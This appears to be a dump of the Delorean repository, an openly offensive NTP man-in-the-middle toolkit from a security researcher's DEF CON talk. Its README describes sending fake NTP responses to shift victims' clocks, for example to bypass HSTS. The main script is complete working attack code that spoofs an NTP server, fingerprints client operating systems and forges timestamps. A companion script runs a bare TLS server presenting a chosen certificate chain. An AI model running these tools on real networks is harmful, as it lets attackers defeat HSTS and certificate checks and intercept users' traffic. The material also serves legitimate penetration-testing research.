[
  {
    "path": "README.md",
    "content": "Delorean is an NTP server written in python, open source and available from GitHub (contributions are welcomed). I borrowed a few lines of code from kimifly's ntpserver and, of course, all the credits to him have been included.\n\nWhat makes Delorean different and useful for us is that we can configure its flags in order to make it work in a different way than a regular NTP server. Basically, we can configure it in order to send fake responses, similar to the Metasploit's fakedns module.\n\n```\n$ ./delorean.py -h\nUsage: delorean.py [options]\n\nOptions:\n-h, --help show this help message and exit\n-i INTERFACE, --interface=INTERFACE Listening interface\n-p PORT, --port=PORT Listening port\n-n, --nobanner Not show Delorean banner\n-s STEP, --force-step=STEP Force the time step: 3m (minutes), 4d (days), 1M (month)\n-d DATE, --force-date=DATE Force the date: YYYY-MM-DD hh:mm[:ss]\n-x, --random-date Use random date each time\n```\n\nWe have the typical interface (-i) and port (-p) flags, that help us to bind the service exactly where we want. The -n flag only hides the super-cool Delorean banner :)\n\n```\n                                    _._                                          \n                               _.-=\"_-         _                                 \n                          _.-=\"   _-          | ||\"\"\"\"\"\"\"---._______     __..    \n              ___.===\"\"\"\"-.______-,,,,,,,,,,,,`-''----\" \"\"\"\"\"       \"\"\"\"\"  __'   \n       __.--\"\"     __        ,'                   o \\           __        [__|   \n  __-\"\"=======.--\"\"  \"\"--.=================================.--\"\"  \"\"--.=======:  \n ]       [w] : /        \\ : |========================|    : /        \\ :  [w] :  \n V___________:|          |: |========================|    :|          |:   _-\"   \n  V__________: \\        / :_|=======================/_____: \\        / :__-\"     \n  -----------'  \"\"____\"\"  `-------------------------------'  \"\"____\"\" \n``` \n\nWe can use Delorean in several modes, but we are going to focus in the most useful ones. There are some other attacks that weren't really interesting after developing them, but they are still in the code. Perhaps I will remove them in the future, sine they require scapy and some dependencies.\n\nSince it's too soon yet to talk about how OS synchronize, we will test how Delorean works using the command line tool \"ntpdate\":\n\n```\n$ ntpdate -q 192.168.1.2\nserver 192.168.1.2, stratum 2, offset 97372804.086845, delay 0.02699\n20 Oct 06:05:45 ntpdate[881]: step time server 192.168.1.2 offset 97372804.086845 sec\n```\n\nBy default (no flags), Delorean responses a date that matches the same week and month day than the current date, but at least 1000 days in the future. This was useful for the HSTS bypass as we will see in upcoming posts.\n\n```\n# ./delorean.py -n \n[19:44:42] Sent to 192.168.10.113:123 - Going to the future! 2018-08-31 19:44 \n[19:45:18] Sent to 192.168.10.113:123 - Going to the future! 2018-08-31 19:45\n```\n\nWe can set a relative jump from the current date using the step flag (-s). Relative jumps can be defined as 10d (ten days in the future), -2y (two years in the past), etc:\n\n```\n# ./delorean.py -s 10d -n \n[19:46:09] Sent to 192.168.10.113:123 - Going to the future! 2015-08-10 19:46 \n[19:47:19] Sent to 192.168.10.113:123 - Going to the future! 2015-08-10 19:47\n```\n\nWe can also set a specific date, and Delorean would answer always the same date. Please note that this date is static, and it is not incremented on each request:\n\n```\n# ./delorean.py -d ‘2020-08-01 21:15’ -n \n[19:49:50] Sent to 127.0.0.1:48473 - Going to the future! 2020-08-01 21:15 \n[19:50:10] Sent to 127.0.0.1:52406 - Going to the future! 2020-08-01 21:15\n```\n\nThere are a number of attacks that you can run using Delorean. I shown some of them in DEF CON 23: https://www.youtube.com/watch?v=hkw9tFnJk8k\n"
  },
  {
    "path": "crl_checker.py",
    "content": "#!/usr/bin/env python3\n# Jose Selvi - jselvi[a.t]pentester[d0.t]es - http://www.pentester.es\n# Greetings for Python3 port to Tristan Rice - https://github.com/d4l3k\n# Version 1.0 - 06/Dec/2020\n# \t- Port to Python3.\n# \t- Several style fixes.\n\nimport scapy\nfrom scapy.layers.ssl_tls import *  # https://github.com/tintinweb/scapy-ssl_tls\nfrom optparse import OptionParser\nimport re\nimport socket\nimport os\nimport base64, sys\n\n\ndef readPemChainFromFile(\n    fileObj,\n    startMarker=\"-----BEGIN CERTIFICATE-----\",\n    endMarker=\"-----END CERTIFICATE-----\",\n):\n    cert_chain = []\n    state = 0\n    while 1:\n        certLine = fileObj.readline()\n        if not certLine:\n            break\n        certLine = certLine.strip()\n        if state == 0:\n            if certLine == startMarker:\n                certLines = []\n                state = 1\n                continue\n        if state == 1:\n            if certLine == endMarker:\n                state = 2\n            else:\n                certLines.append(certLine)\n        if state == 2:\n            substrate = \"\"\n            for certLine in certLines:\n                if sys.version_info[0] <= 2:\n                    substrate = substrate + base64.decodestring(certLine)\n                else:\n                    if not substrate:\n                        substrate = substrate.encode()\n                    substrate = substrate + base64.decodebytes(certLine.encode())\n            cert_chain.append(substrate)\n            state = 0\n    return cert_chain\n\n\n# Usage and options\nusage = \"usage: %prog [options]\"\nparser = OptionParser(usage=usage)\nparser.add_option(\n    \"-i\",\n    \"--interface\",\n    type=\"string\",\n    dest=\"interface\",\n    default=\"0.0.0.0\",\n    help=\"Listening interface\",\n)\nparser.add_option(\n    \"-p\", \"--port\", type=\"int\", dest=\"port\", default=\"443\", help=\"Listening port\"\n)\nparser.add_option(\n    \"-c\", \"--cert\", type=\"string\", dest=\"certfile\", help=\"PEM Certificate File\"\n)\n(options, args) = parser.parse_args()\n\nifre = re.compile(\"[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+\")\n# Check options\nif (\n    not options.interface\n    or not ifre.match(options.interface)\n    or options.port < 1\n    or options.port > 65535\n    or not options.certfile\n    or not os.path.isfile(options.certfile)\n):\n    parser.print_help()\n    exit()\n\ncert_chain = readPemChainFromFile(open(options.certfile))\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind((options.interface, options.port))\ns.listen(0)\n\n# Wait until Keyboard Interrupt\ntry:\n\n    while True:\n\n        (client, address) = s.accept()\n\n        client_hello = SSL(client.recv(1024))\n        ch_cipher_suites = client_hello.records[0][2].cipher_suites\n        cs = min(ch_cipher_suites)\n\n        random_session_id = os.urandom(32)\n        server_hello = (\n            TLSRecord()\n            / TLSHandshake()\n            / TLSServerHello(session_id=random_session_id, cipher_suite=cs)\n        )\n        client.sendall(str(server_hello))\n\n        # print \"--------------------------\"\n        # print str(cert_chain[0])\n        # print \"--------------------------\"\n        # print str(cert_chain[1])\n        # print \"--------------------------\"\n        # print str(cert_chain[2])\n        # print \"--------------------------\"\n\n        ssl_certificates = []\n        for cert in cert_chain:\n            ssl_certificates.append(TLSCertificate(data=cert))\n\n        certificates = (\n            TLSRecord()\n            / TLSHandshake()\n            / TLSCertificateList(certificates=ssl_certificates)\n        )\n        client.sendall(str(certificates))\n\n        server_hello_done = (\n            TLSRecord() / TLSHandshake() / TLSServerHelloDone(length=0, data=\"\")\n        )\n        client.sendall(str(server_hello_done))\n\n        raw_response = client.recv(1024)\n        SSL(raw_response).show()\n\n        try:\n            client.shutdown(socket.SHUT_RDWR)\n        except KeyboardInterrupt:\n            raise KeyboardInterrupt\n        except:\n            client.close()\n            continue\n\nexcept KeyboardInterrupt:\n    print(\"Exited\")\n\ns.close()\n"
  },
  {
    "path": "delorean.py",
    "content": "#!/usr/bin/env python3\n# NTP MitM Tool\n# Jose Selvi - jselvi[a.t]pentester[d0.t]es - http://www.pentester.es\n# Greetings for Python3 port to Tristan Rice - https://github.com/d4l3k\n# Version 1.4 - 06/Dec/2020\n# \t- Port to Python3.\n# \t- Several style fixes.\n\n# General Imports\nfrom optparse import OptionParser\nimport socket\nimport threading\nimport datetime\nimport struct\nimport time\nimport math\nimport re\nimport random\nimport sys\nimport os\n\n\ndef banner():\n    print('                                    _._                                          ')\n    print('                               _.-=\"_-         _                                 ')\n    print('                          _.-=\"   _-          | ||\"\"\"\"\"\"\"---._______     __..    ')\n    print('              ___.===\"\"\"\"-.______-,,,,,,,,,,,,`-\\'\\'----\" \"\"\"\"\"       \"\"\"\"\"  __\\'   ')\n    print('       __.--\"\"     __        ,\\'                   o \\           __        [__|   ')\n    print('  __-\"\"=======.--\"\"  \"\"--.=================================.--\"\"  \"\"--.=======:  ')\n    print(' ]       [w] : /        \\ : |========================|    : /        \\ :  [w] :  ')\n    print(' V___________:|          |: |========================|    :|          |:   _-\"   ')\n    print('  V__________: \\        / :_|=======================/_____: \\        / :__-\"     ')\n    print('  -----------\\'  \"\"____\"\"  `-------------------------------\\'  \"\"____\"\"            ')\n\n\n# NTP-Proxy Class\nclass NTProxy(threading.Thread):\n    # Stop Flag\n    stopF = False\n    # Force Step or date\n    skim_step = float(0)\n    skim_threshold = float(0)\n    forced_step = float(0)\n    forced_date = float(0)\n    forced_random = False\n    # Temporal control\n    seen = {}\n    # Constructor\n    def __init__(self, socket):\n        threading.Thread.__init__(self)\n        if socket:\n            self.step = 0\n            self.ntp_delta = (\n                (datetime.date(*time.gmtime(0)[0:3]) - datetime.date(1900, 1, 1)).days\n                * 24\n                * 3600\n            )\n            self.stopF = False\n            self.socket = socket\n            self.socket.settimeout(\n                5.0\n            )  # Needed: If not socket.recvfrom() waits forever\n\n    # Force step or date\n    def str2sec(self, mystr):\n        secs_in = {\n            \"s\": 1,\n            \"m\": 60,\n            \"h\": 3600,\n            \"d\": 86400,\n            \"w\": 604800,\n            \"M\": 2629743,\n            \"y\": 31556926,\n        }\n        if mystr[-1] in secs_in.keys():\n            num = int(mystr[:-1])\n            mag = secs_in[mystr[-1]]\n        else:\n            num = int(mystr)\n            mag = 1\n        return float(mag * num)\n\n    def set_skim_threshold(self, threshold):\n        self.skim_threshold = self.str2sec(threshold)\n\n    def set_skim_step(self, skim):\n        self.skim_step = self.str2sec(skim) - self.skim_threshold\n\n    def force_step(self, step):\n        self.forced_step = self.str2sec(step)\n\n    def force_date(self, date):\n        if len(date) == len(\"2014-01-01 05:32\"):\n            pat = \"%Y-%m-%d %H:%M\"\n        else:\n            pat = \"%Y-%m-%d %H:%M:%S\"\n        self.forced_date = float(datetime.datetime.strptime(date, pat).strftime(\"%s\"))\n\n    def force_random(self, random):\n        self.forced_random = random\n\n    # Set the step to the future/past\n    def select_step(self):\n        # Get current date\n        current_time = time.time()\n        current_week_day = time.gmtime(current_time)[6]\n        current_month_day = time.gmtime(current_time)[2]\n        # Look for the same week and month day, minimum a thousand days in the future\n        if self.forced_step == 0 and not self.forced_random:\n            # Default Step\n            week_day = 10000\n            month_day = 10000\n            future_time = current_time + (3 * 12 * 4 * 7 * 24 * 3600)\n            while not (\n                (week_day == current_week_day) and (month_day == current_month_day)\n            ):\n                future_time = future_time + (7 * 24 * 3600)\n                week_day = time.gmtime(future_time)[6]\n                month_day = time.gmtime(future_time)[2]\n        elif self.forced_random:\n            min_time = math.floor(current_time)\n            max_time = 4294967294 - self.ntp_delta  # max 32 bits - 1\n            future_time = random.randint(min_time, max_time)\n        else:\n            # Forced Step\n            future_time = current_time + self.forced_step\n        self.step = future_time - current_time\n\n    # Select a new time in the future/past\n    def newtime(self, timestamp):\n        current_time = time.time()\n        skim_time = timestamp + self.skim_step - 5\n        future_time = current_time + self.step\n        if self.skim_step == 0:\n            skim_time = 4294967294\n        if self.forced_date == 0 and (skim_time > future_time):\n            return future_time\n        elif self.forced_date != 0 and (skim_time > self.forced_date):\n            return self.forced_date\n        else:\n            return skim_time\n\n    # Stop Method\n    def stop(self):\n        self.stopF = True\n\n    # Run Method\n    def run(self):\n        self.select_step()\n        while not self.stopF:\n            # When timeout we need to catch the exception\n            try:\n                data, source = self.socket.recvfrom(1024)\n                info = self.extract(data)\n                timestamp = self.newtime(info[\"tx_timestamp\"] - self.ntp_delta)\n                fingerprint, data = self.response(info, timestamp)\n                if self.skim_step != 0:\n                    for t in range(0, 10):\n                        fingerprint, data = self.response(info, timestamp)\n                socket.sendto(data, source)\n                # Only print if it's the first packet\n                epoch_now = time.time()\n                if (not source[0] in self.seen) or (\n                    (source[0] in self.seen) and (epoch_now - self.seen[source[0]]) > 2\n                ):\n                    if self.forced_random:\n                        self.select_step()\n                    self.seen[source[0]] = epoch_now\n                    # Year-Month-Day Hour:Mins\n                    aux = time.gmtime(timestamp)\n                    future_time = (\n                        str(aux[0]).zfill(4)\n                        + \"-\"\n                        + str(aux[1]).zfill(2)\n                        + \"-\"\n                        + str(aux[2]).zfill(2)\n                        + \" \"\n                        + str(aux[3]).zfill(2)\n                        + \":\"\n                        + str(aux[4]).zfill(2)\n                    )\n                    aux = time.gmtime(time.time())\n                    current_time = (\n                        str(aux[3]).zfill(2)\n                        + \":\"\n                        + str(aux[4]).zfill(2)\n                        + \":\"\n                        + str(aux[5]).zfill(2)\n                    )\n                    # print fingerprint + ' detected!'\n                    if (timestamp - time.time()) < 0:\n                        when = \"past\"\n                    else:\n                        when = \"future\"\n                    print(\n                        \"[%s] Sent to %s:%d - Going to the %s! %s\"\n                        % (\n                            current_time,\n                            source[0],\n                            source[1],\n                            when,\n                            future_time,\n                        )\n                    )\n            except:\n                continue\n\n    # Extract query information\n    def extract(self, data):\n        # Format from https://github.com/limifly/ntpserver/\n        unpacked = struct.unpack(\n            \"!B B B b 11I\", data[0 : struct.calcsize(\"!B B B b 11I\")]\n        )\n        # Extract information\n        info = {}\n        info[\"leap\"]                = unpacked[0] >> 6 & 0x3\n        info[\"version\"]             = unpacked[0] >> 3 & 0x7\n        info[\"mode\"]                = unpacked[0] & 0x7\n        info[\"stratum\"]             = unpacked[1]\n        info[\"poll\"]                = unpacked[2]\n        info[\"precision\"]           = unpacked[3]\n        info[\"root_delay\"]          = float(unpacked[4]) / 2 ** 16\n        info[\"root_dispersion\"]     = float(unpacked[5]) / 2 ** 16\n        info[\"ref_id\"]              = unpacked[6]\n        info[\"ref_timestamp\"]       = unpacked[7] + float(unpacked[8]) / 2 ** 32\n        info[\"orig_timestamp\"]      = unpacked[9] + float(unpacked[10]) / 2 ** 32\n        info[\"orig_timestamp_high\"] = unpacked[9]\n        info[\"orig_timestamp_low\"]  = unpacked[10]\n        info[\"recv_timestamp\"]      = unpacked[11] + float(unpacked[12]) / 2 ** 32\n        info[\"tx_timestamp\"]        = unpacked[13] + float(unpacked[14]) / 2 ** 32\n        info[\"tx_timestamp_high\"]   = unpacked[13]\n        info[\"tx_timestamp_low\"]    = unpacked[14]\n        # Return useful info for respose\n        return info\n\n    # Create response packet\n    def response(self, info, timestamp):\n        if (\n            info[\"leap\"] == 0\n            and info[\"version\"] == 4\n            and (info[\"mode\"] == 3 or info[\"mode\"] == 4)\n        ):\n            return self.response_osx(info, timestamp)\n        if (\n            (info[\"leap\"] == 3 or info[\"leap\"] == 192)\n            and info[\"version\"] == 4\n            and info[\"mode\"] == 3\n        ):\n            return self.response_linux(info, timestamp)\n        if info[\"version\"] == 3:\n            return self.response_win(info, timestamp)\n        return self.response_default(info, timestamp)\n\n    def generate_param(self, info, timestamp):\n        # Format from https://github.com/limifly/ntpserver/\n        # Define response params\n        ntp_timestamp = timestamp + self.ntp_delta\n        param = {}\n        param[\"ID\"] = \"Unknown\"\n        param[\"leap\"] = 0                   # No warnings, no errors\n        param[\"version\"] = info[\"version\"]  # Use the same request version\n        param[\"mode\"] = 4                   # Always answer server mode\n        param[\"stratum\"] = 2                # Highest NTP priority\n        param[\"poll\"] = 9                   # As less poll time as possible\n        param[\"precision\"] = -20            # Maximum precision\n        param[\"root_delay\"] = 0\n        param[\"root_dispersion\"] = 0\n        param[\"ref_id\"] = info[\"ref_id\"]\n        param[\"ref_timestamp\"] = ntp_timestamp - 5\n        param[\"orig_timestamp\"] = 0\n        param[\"orig_timestamp_high\"] = info[\"tx_timestamp_high\"]\n        param[\"orig_timestamp_low\"] = info[\"tx_timestamp_low\"]  # -1\n        param[\"recv_timestamp\"] = ntp_timestamp\n        param[\"tx_timestamp\"] = ntp_timestamp\n        param[\"tx_timestamp_high\"] = 0\n        param[\"tx_timestamp_low\"] = 0\n        return param\n\n    def response_linux(self, info, timestamp):\n        param = self.generate_param(info, timestamp)\n        param[\"ID\"] = \"Linux\"\n        # param['leap'] = 4\n        # param['version'] = info['version']\n        # param['mode'] = 4\n        # Construct packet\n        return param[\"ID\"], self.packetize(info, param)\n\n    def response_osx(self, info, timestamp):\n        param = self.generate_param(info, timestamp)\n        param[\"ID\"] = \"Mac OS X\"\n        # param['ref_id'] = 0 # 17.72.133.55\n        # param['leap'] = 0\n        # param['version'] = 4\n        # param['mode'] = 4\n        # param['poll'] = 9\n        # Construct packet\n        return param[\"ID\"], self.packetize(info, param)\n\n    def response_win(self, info, timestamp):\n        param = self.generate_param(info, timestamp)\n        param[\"ID\"] = \"Windows\"\n        # param['version'] = 3\n        # Construct packet\n        return param[\"ID\"], self.packetize(info, param)\n\n    def response_default(self, info, timestamp):\n        param = self.generate_param(info, timestamp)\n        # Construct packet\n        return param[\"ID\"], self.packetize(info, param)\n\n    def packetize(self, info, param):\n        # Format from https://github.com/limifly/ntpserver/\n        # print param['ID'] + ' detected!'\n        # Construct packet\n        packed = struct.pack(\n            \"!B B B b 11I\",\n            (param[\"leap\"] << 6 | param[\"version\"] << 3 | param[\"mode\"]),\n            param[\"stratum\"],\n            param[\"poll\"],\n            param[\"precision\"],\n            int(param[\"root_delay\"]) << 16\n            | int(abs(param[\"root_delay\"] - int(param[\"root_delay\"])) * 2 ** 16),\n            int(param[\"root_dispersion\"]) << 16\n            | int(\n                abs(param[\"root_dispersion\"] - int(param[\"root_dispersion\"])) * 2 ** 16\n            ),\n            param[\"ref_id\"],\n            int(param[\"ref_timestamp\"]),\n            int(abs(param[\"ref_timestamp\"] - int(param[\"ref_timestamp\"])) * 2 ** 32),\n            param[\"orig_timestamp_high\"],\n            param[\"orig_timestamp_low\"],\n            int(param[\"recv_timestamp\"]),\n            int(abs(param[\"recv_timestamp\"] - int(param[\"recv_timestamp\"])) * 2 ** 32),\n            int(param[\"tx_timestamp\"]),\n            int(abs(param[\"tx_timestamp\"] - int(param[\"tx_timestamp\"])) * 2 ** 32),\n        )\n        # Return packet\n        # int(abs(timestamp - int(timestamp)) * 2**32)\n        return packed\n\n\n# Usage and options\nusage = \"usage: %prog [options]\"\nparser = OptionParser(usage=usage)\nparser.add_option(\n    \"-i\",\n    \"--interface\",\n    type=\"string\",\n    dest=\"interface\",\n    default=\"0.0.0.0\",\n    help=\"Listening interface\",\n)\nparser.add_option(\n    \"-p\", \"--port\", type=\"int\", dest=\"port\", default=\"123\", help=\"Listening port\"\n)\nparser.add_option(\n    \"-n\",\n    \"--nobanner\",\n    action=\"store_false\",\n    dest=\"banner\",\n    default=True,\n    help=\"Not show Delorean banner\",\n)\nparser.add_option(\n    \"-s\",\n    \"--force-step\",\n    type=\"string\",\n    dest=\"step\",\n    help=\"Force the time step: 3m (minutes), 4d (days), 1M (month)\",\n)\nparser.add_option(\n    \"-d\",\n    \"--force-date\",\n    type=\"string\",\n    dest=\"date\",\n    help=\"Force the date: YYYY-MM-DD hh:mm[:ss]\",\n)\nparser.add_option(\n    \"-k\",\n    \"--skim-step\",\n    type=\"string\",\n    dest=\"skim\",\n    help=\"Skimming step: 3m (minutes), 4d (days), 1M (month)\",\n)\nparser.add_option(\n    \"-t\",\n    \"--skim-threshold\",\n    type=\"string\",\n    dest=\"threshold\",\n    default=\"30s\",\n    help=\"Skimming Threshold: 3m (minutes), 4d (days), 1M (month)\",\n)\nparser.add_option(\n    \"-x\",\n    \"--random-date\",\n    action=\"store_true\",\n    dest=\"random\",\n    default=False,\n    help=\"Use random date each time\",\n)\n(options, args) = parser.parse_args()\nifre = re.compile(\"[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+\")\nfsre = re.compile(\"[-]?[0-9]+[smhdwMy]?\")\nfdre = re.compile(\n    \"[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9] [0-9][0-9]:[0-9][0-9](:[0-9][0-9])?\"\n)\n# Check options\nif (\n    not options.interface\n    or not ifre.match(options.interface)\n    or options.port < 1\n    or options.port > 65535\n    or (options.step and options.date)\n    or\n    # ( options.skim and not (options.step or options.date) ) or\n    (options.random and (options.step or options.date))\n    or (options.step and not fsre.match(options.step))\n    or (options.date and not fdre.match(options.date))\n    or (options.skim and not fsre.match(options.skim))\n    or (options.threshold and not fsre.match(options.threshold))\n):\n    parser.print_help()\n    exit()\n\n# Check if root\nif options.port <= 1024 and os.geteuid() != 0:\n    sys.exit(\"Delorean must be run as root when binding ports under 1024\")\n\n# Bind Socket and Start Thread\nsocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nsocket.bind((options.interface, options.port))\nNTP_Thread = NTProxy(socket)\nif options.random:\n    NTP_Thread.force_random(True)\nelse:\n    NTP_Thread.set_skim_threshold(options.threshold)\n    if options.skim:\n        NTP_Thread.set_skim_step(options.skim)\n    if options.step:\n        NTP_Thread.force_step(options.step)\n    if options.date:\n        NTP_Thread.force_date(options.date)\n\n# Lets go to the future\nif options.banner:\n    banner()\n\n# Wait until Keyboard Interrupt\ntry:\n    NTP_Thread.start()\n    while True:\n        time.sleep(1)\nexcept KeyboardInterrupt:\n    print(\"Kill signal sent...\")\n    NTP_Thread.stop()\n    NTP_Thread.join()\n    socket.close()\n    print(\"Exited\")\n"
  },
  {
    "path": "hsts_catcher.py",
    "content": "#!/usr/bin/python\n# Python Script that looks for HSTS Header of a given URL\n# Jose Selvi - jselvi[a.t]pentester[d0.t]es - http://www.pentester.es\n# Greetings for Python3 port to Tristan Rice - https://github.com/d4l3k\n# Version 1.0 - 06/Dec/2020\n# \t- Port to Python3.\n# \t- Several style fixes.\n\n# Importing\nfrom optparse import OptionParser\nimport httplib\nimport re\n\n# Get the full response\ndef get_response(url, user_agent):\n    [proto, aux, hostname] = url.split(\"/\")\n    try:\n        if proto == \"https:\":\n            conn = httplib.HTTPSConnection(hostname, timeout=5)\n        else:\n            conn = httplib.HTTPConnection(hostname, timeout=5)\n        conn.putrequest(\"GET\", \"/\", skip_host=True)\n        conn.putheader(\"Host\", hostname)\n        conn.putheader(\"User-Agent\", user_agent)\n        conn.endheaders()\n        resobj = conn.getresponse()\n    except:\n        return\n    return resobj\n\n\n# Get only the HSTS Header\ndef get_hsts(url, user_agent):\n    resobj = get_response(url, user_agent)\n    if not resobj:\n        return \"\"\n\n    hsts_header = resobj.getheader(\"strict-transport-security\")\n    return hsts_header\n\n\n# Get all headers\ndef get_headers(url, user_agent):\n    resobj = get_response(url, user_agent)\n    if not resobj:\n        return \"\"\n\n    return resobj.getheaders()\n\n\n# Usage and options\nusage = \"usage: %prog [options]\"\nparser = OptionParser(usage=usage)\nparser.add_option(\"-U\", \"--url\", type=\"string\", dest=\"url\", help=\"Website URL (https)\")\nparser.add_option(\n    \"-R\", \"--raw\", action=\"store_true\", dest=\"raw\", help=\"Show raw headers\"\n)\nparser.add_option(\n    \"-A\",\n    \"--user-agent\",\n    type=\"string\",\n    dest=\"user_agent\",\n    help=\"User-Agent string\",\n    default=\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36\",\n)\n(options, args) = parser.parse_args()\nurlre = re.compile(\"http(s)?://[a-zA-Z0-9.-]+(\\:[0-9]+)?$\")\nif not options.url or not urlre.match(options.url):\n    parser.print_help()\n    exit()\n\n# Chose raw headers o HSTS only\nif options.raw:\n    output = get_headers(options.url, options.user_agent)\nelse:\n    output = get_hsts(options.url, options.user_agent)\n# Print result\nprint(output)\n"
  }
]